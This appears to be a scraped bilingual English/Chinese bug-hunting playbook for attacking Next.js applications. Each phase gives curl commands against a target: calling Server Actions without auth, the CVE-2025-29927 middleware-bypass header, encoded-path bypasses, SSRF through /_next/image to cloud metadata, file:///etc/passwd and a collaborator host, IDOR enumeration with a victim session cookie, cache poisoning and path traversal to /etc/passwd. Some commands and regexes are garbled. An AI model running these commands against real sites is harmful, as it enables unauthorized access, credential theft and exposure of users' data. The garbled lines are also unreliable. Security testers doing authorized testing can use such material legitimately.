hunt-nextjs

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

HUNT-NEXTJS — Next.js / SSR 框架漏洞

Crown Jewel Targets

核心高价值目标

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
  • Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
  • Middleware bypass via
    /_next/static/
    — middleware skips static asset paths → protected routes accessible via
    /_next/data/
    IDOR
  • /_next/image
    SSRF
    — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
  • ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
  • RSC payload leakage — React Server Component flight data contains server-side props not meant for client

可绕过鉴权或能够触达 SSRF 的 Next.js 特有漏洞 = 高危/严重。
最高价值的攻击链:
  • Server Actions 鉴权绕过 — Server Actions 仅在客户端强制执行鉴权 → 直接调用 action ID → 越权修改数据或数据外泄
  • 通过
    /_next/static/
    绕过 Middleware
    — Middleware 会跳过静态资源路径 → 可通过
    /_next/data/
    访问受保护路由,形成 IDOR
  • /_next/image
    SSRF
    — Image optimizer 获取攻击者控制的 URL → 扫描内网或读取云元数据
  • ISR 陈旧缓存投毒 — 向缓存页面注入恶意内容,随后提供给所有用户
  • RSC payload 泄露 — React Server Component flight data 包含不应发送给客户端的服务端 props

Attack Surface Signals

攻击面特征

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 — Fingerprint & Version Detection

阶段 1 — 指纹识别与版本探测

bash
undefined
bash
undefined

Confirm Next.js and get build ID

Confirm Next.js and get build ID

curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"' curl -sI https://$TARGET/ | grep -i "x-powered-by|x-nextjs"
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"' curl -sI https://$TARGET/ | grep -i "x-powered-by|x-nextjs"

Extract build ID for /_next/data/ paths

Extract build ID for /_next/data/ paths

BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') echo "Build ID: $BUILD_ID"
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') echo "Build ID: $BUILD_ID"

Check Next.js version via package disclosure

Check Next.js version via package disclosure

curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

Source map exposure

Source map exposure

curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5 curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

---
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5 curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

---

Phase 2 — Server Actions Abuse

阶段 2 — Server Actions 滥用

bash
undefined
bash
undefined

Server Actions in Next.js 14+ use x-action-id or Next-Action header

Server Actions in Next.js 14+ use x-action-id or Next-Action header

Find action IDs in HTML source or JS bundles

Find action IDs in HTML source or JS bundles

curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"' grep -r "createActionURL|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"' grep -r "createActionURL|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

Call Server Action directly without auth

Call Server Action directly without auth

curl -s -X POST https://$TARGET/target-page
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
curl -s -X POST https://$TARGET/target-page
-H "Next-Action: ACTION_ID_HERE"
-H "Content-Type: multipart/form-data; boundary=----"
-H "Cookie: "
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

Test: does the action execute without a valid session?

Test: does the action execute without a valid session?

If it returns data or mutates state → auth enforcement is client-side only

If it returns data or mutates state → auth enforcement is client-side only


---

---

Phase 3 — Middleware Auth Bypass

阶段 3 — Middleware 鉴权绕过

bash
undefined
bash
undefined

Next.js middleware runs on edge runtime and may skip certain paths

Next.js middleware runs on edge runtime and may skip certain paths

Test protected route directly

Test protected route directly

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard

→ 200 means accessible

→ 200 means accessible

Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply

Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply

curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

Test via static asset path prefix (middleware matcher may exclude /_next/static)

Test via static asset path prefix (middleware matcher may exclude /_next/static)

curl -s "https://$TARGET/_next/static/../admin/dashboard"
curl -s "https://$TARGET/_next/static/../admin/dashboard"

Encoded path bypass

Encoded path bypass

curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json" curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

---
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json" curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

---

Middleware bypass via
x-middleware-subrequest
(CVE-2025-29927)

通过
x-middleware-subrequest
绕过 Middleware(CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
bash
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
当该 header 声称请求是内部子请求时,Next 会完全跳过 Middleware 执行——从而绕过受保护路由上的鉴权/重定向 Middleware。
bash
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"

also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"

200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

undefined
undefined

Phase 4 — Image Optimization SSRF (
/_next/image
)

阶段 4 — Image Optimization SSRF(
/_next/image
)

bash
undefined
bash
undefined

Basic SSRF test — internal metadata

Basic SSRF test — internal metadata

curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

Protocol bypass attempts

Protocol bypass attempts

curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75" curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75" curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused

OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused

COLLAB="http://UNIQUE.COLLAB_HOST" curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
COLLAB="http://UNIQUE.COLLAB_HOST" curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"

Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain


**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
fetches URLs allowed by `images.remotePatterns` / `images.domains` in
`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
returns an *optimized image*, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
Collaborator subdomain** (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.

> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
> Actions surface.

---

**误报防护(声称 SSRF 前务必阅读):** `/_next/image` 只会获取 `next.config.js` 中 `images.remotePatterns` / `images.domains` 允许的 URL。默认情况下,不在白名单中的 `url` 会返回 **400**——这是 optimizer 正常的白名单拒绝,并**不是**你绕过了某种“封锁”。**200** 表示返回的是*优化后的图片*,而不是上游响应正文,因此仅凭状态码**绝不能**确认 SSRF。只能通过**向唯一的 Collaborator 子域发起带外回调**(见上文),或对已知的内部目标与外部目标进行正文差异比较来确认。不要仅根据状态码报告。

> 注意:CVE-2024-34351(Next.js SSRF,GHSA-fr5h-rqp8-mj6g,影响 13.4.0 至 < 14.1.1,已在 14.1.1 修复)属于 **Server Actions SSRF**——它利用信任 `Host` header 的相对重定向——而**不是** `/_next/image` 漏洞,并且**不**影响 Vercel 等基于 Host 路由的提供商。Server Actions 攻击面请参阅阶段 2。

---

Phase 5 —
/_next/data/
IDOR & Data Leakage

阶段 5 —
/_next/data/
IDOR 与数据泄露

bash
undefined
bash
undefined

Enumerate prerendered JSON for user-specific data

Enumerate prerendered JSON for user-specific data

Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json

Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json

curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json"
-H "Cookie: session=VICTIM_SESSION"
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json"
-H "Cookie: session=VICTIM_SESSION"

Try other users' data

Try other users' data

for ID in 1 2 3 100 1000; do curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3 done
for ID in 1 2 3 100 1000; do curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3 done

Check NEXT_DATA in HTML for sensitive server-side props

Check NEXT_DATA in HTML for sensitive server-side props

curl -s "https://$TARGET/dashboard" |
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

---
curl -s "https://$TARGET/dashboard" |
python3 -c "import sys,re,json; m=re.search(r'<script id="NEXT_DATA"[^>]>(.?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

---

Phase 6 — ISR Cache Poisoning

阶段 6 — ISR 缓存投毒

bash
undefined
bash
undefined

ISR pages regenerate on request after revalidation period

ISR pages regenerate on request after revalidation period

If user input influences the static page content without sanitization:

If user input influences the static page content without sanitization:

1. Trigger revalidation with malicious input in URL/query

1. Trigger revalidation with malicious input in URL/query

2. Injected content cached and served to all users

2. Injected content cached and served to all users

Test: does query param affect cached page content?

Test: does query param affect cached page content?

Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,

Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,

and confirm the response was actually CACHED + served to a DIFFERENT client.

and confirm the response was actually CACHED + served to a DIFFERENT client.

MARK="zqx$(date +%s)"
MARK="zqx$(date +%s)"

1) Poison with the marker

1) Poison with the marker

curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null

2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.

2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.

Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected

Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected

marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.

marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.

curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

On-demand revalidation endpoint (if exposed)

On-demand revalidation endpoint (if exposed)

curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test" curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

---
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test" curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

---

Phase 7 — Debug & Stack Frame Endpoints

阶段 7 — Debug 与 Stack Frame 端点

Precondition:
__nextjs_launch-editor
and
__nextjs_original-stack-frame
are react-dev-overlay middleware mounted ONLY under
next dev
. A production build (
next build && next start
) does not register these routes — a 404 here is the normal, expected result, not a "filter" you need to bypass. They are reachable ONLY in the rare misconfiguration of literally running
next dev
in production. Treat any non-404 as the real finding; do NOT report a 404/filtered response as confirmation.
bash
undefined
前提条件:
__nextjs_launch-editor
和
__nextjs_original-stack-frame
是 react-dev-overlay Middleware,仅在
next dev
下挂载。生产构建(
next build && next start
)不会注册这些路由——此处返回 404 是正常且预期的结果,并不存在需要绕过的“过滤”。只有在生产环境中直接运行
next dev
这种罕见错误配置下,这些端点才可访问。将任何非 404 响应视为真实发现;不要将 404/被过滤的响应报告为已确认漏洞。
bash
undefined

First confirm dev mode is actually exposed (anything but 404 = dev server in prod)

First confirm dev mode is actually exposed (anything but 404 = dev server in prod)

curl -s -o /dev/null -w "%{http_code}"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
curl -s -o /dev/null -w "%{http_code}"
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

Only if the above is NOT 404: the launch-editor / stack-frame endpoints can

Only if the above is NOT 404: the launch-editor / stack-frame endpoints can

reference local files (file-read surface of a dev server wrongly exposed)

reference local files (file-read surface of a dev server wrongly exposed)

curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1" curl -s "https://$TARGET/__nextjs_original-stack-frame"
--data '{"file":"/etc/passwd","line":1,"column":1}'

---
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1" curl -s "https://$TARGET/__nextjs_original-stack-frame"
--data '{"file":"/etc/passwd","line":1,"column":1}'

---

Phase 8 — Environment Variable Leakage

阶段 8 — 环境变量泄露

bash
undefined
bash
undefined

NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets

NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets

curl -s "https://$TARGET/next/static/chunks/pages/app.js" |
grep -oE "NEXT_PUBLIC
[A-Z
]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"
curl -s "https://$TARGET/next/static/chunks/pages/app.js" |
grep -oE "NEXT_PUBLIC
[A-Z
]+['"]?\s*[:=]\s*['"]?[^'"&\s]+"

Check for non-public vars accidentally exposed

Check for non-public vars accidentally exposed

curl -s https://$TARGET/ | python3 -c " import sys, re, json m = re.search(r'NEXT_DATA.?({.?})</script>', sys.stdin.read(), re.S) if m: d = json.loads(m.group(1)) print(json.dumps(d.get('props', {}), indent=2)) "

---
curl -s https://$TARGET/ | python3 -c " import sys, re, json m = re.search(r'NEXT_DATA.?({.?})</script>', sys.stdin.read(), re.S) if m: d = json.loads(m.group(1)) print(json.dumps(d.get('props', {}), indent=2)) "

---

Chain Table

攻击链表

Next.js findingChain toImpact
Server Action no authCall privileged mutations directlyData manipulation / admin access
/_next/image
SSRF
Cloud metadata → IAM credsCloud compromise
/_next/data/
IDOR
Other users' server-side propsPII / token exfil
Middleware bypassProtected admin routesAuth bypass
Source map exposedReconstruct TS source → find hardcoded secretsFurther vulns
__NEXT_DATA__
leaks
Server-side secrets in HTMLAPI keys / tokens

Next.js 发现项可链式利用至影响
Server Action 缺少鉴权直接调用特权操作数据篡改 / 管理员权限访问
/_next/image
SSRF
云元数据 → IAM 凭据云环境失陷
/_next/data/
IDOR
其他用户的 server-side propsPII / token 外泄
Middleware 绕过受保护的管理员路由鉴权绕过
Source map 暴露重建 TS 源码 → 查找硬编码 secrets进一步发现漏洞
__NEXT_DATA__
泄露
HTML 中的服务端 secretsAPI keys / tokens

Validation

验证

✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from
/_next/image
SSRF ✅ Middleware bypass: 200 response on protected route without auth cookie ✅ Data leak:
__NEXT_DATA__
contains non-public secrets or other users' PII
Severity:
  • Server Action auth bypass → data mutation: High/Critical
  • Image SSRF → cloud metadata: Critical
  • Middleware bypass → admin panel: High
  • Source map exposure only: Low-Medium
✅ Server Action:在无有效 session 的情况下执行 action,并返回数据或修改状态 ✅ SSRF:收到来自
/_next/image
SSRF 的 DNS/HTTP 回调 ✅ Middleware 绕过:在无 auth cookie 的情况下,受保护路由返回 200 ✅ 数据泄露:
__NEXT_DATA__
包含非公开 secrets 或其他用户的 PII
严重性:
  • Server Action 鉴权绕过 → 数据修改:高危/严重
  • Image SSRF → 云元数据:严重
  • Middleware 绕过 → 管理员面板:高危
  • 仅 Source map 暴露:低危至中危